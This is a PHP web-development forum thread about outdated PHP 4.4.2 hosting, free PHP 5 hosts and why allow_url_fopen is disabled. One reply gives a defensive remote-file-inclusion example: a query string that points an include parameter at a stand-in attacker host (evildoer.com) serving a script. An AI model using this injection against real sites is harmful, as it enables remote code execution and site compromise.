Host support for PHP 4.4.2

[MelWhetaer]

Hi there,

 

I want to know your views although I can pretty much guess what they will be.

 

My present web host only supports PHP version 4.4.2, although they do support Perl too. This means however that after learning PHP 5.1.4 I then had to take a step back over and change to 4.4.2.

 

What are your thoughts on this? am I in the stone age coding in PHP v. 4.4.2? Is it time for a new FREE host?

 

Mel :-\

[phpQuestioner]

If PHP v4.4.2 accomplishes what you want to do, then god bless; otherwise you may need to consider an upgrade.

[MelWhetaer]

Thanks for your feedback phpquestioner.

 

Can you recommend a good free host with no ads that supports version 5 or higher? I see there are many that offer his only I would be grateful for any recommendations.

 

Thanks again

Mel

 

[phpQuestioner]

Honestly, I quit using free web hosting services several years ago. The reason is because most free web host only allow limited bandwidth, limited file space, put ads in your website, usually no customer service, have limits on what you can do with PHP, and so on. But if you just want some basic free php web hosting and you are not expecting much traffic or your just using it for testing; just do a Google search for "Free PHP Web Hosting". You should have several free web hosting options that you can choose from. I would just try a few out and see which one worked the best for me; that's just me though.

 

- Good Luck

[MadTechie]

like phpQuestioner i can not recommend any.. but this may help

http://www.0php.com/free_PHP_hosting.php

 

Byet Host seams to be the best!

[MelWhetaer]

Thanks for the feedback guys.

 

MadTechie I seen a pattern in the link you sent me, all the hosts that support PHP v.5 or higher (except ATB host) have "allow_url_fopen" turned off, is there a reason for this? And what effect does would this have?

 

Thanks

Mel

 

[MadTechie]

allow_url_fopen is a secuirty risk (when used incorrectly) only differents it can cause major problems if not filtered,

example

Here’s a simple example of why allow_url_fopen is a problem in the real world.

 

I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:

 

And then they run it with something like “http://www.example.com/index.php?page=page5.html”.

 

All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.

 

Moral: allow_url_fopen should *always* be off unless you need it.

 

your find you probably won't have

 

allow_url_fopen

CURL

CRON

 

get one with register_globals turned OFF...

magic quotes are a pain.. i think its better to filter myown code than have magicquotes mess it up for me..

[MelWhetaer]

Thank you for being so informative MadTechie, with your explanation and a little research into register globals and magic quotes a few gray areas of mine were cleared up.

 

For anyone else at the same level as me when it comes to PHP I found this article very helpful on register globals:

 

      http://en.wikibooks.org/wiki/Programming:PHP:Register_Globals

 

Mel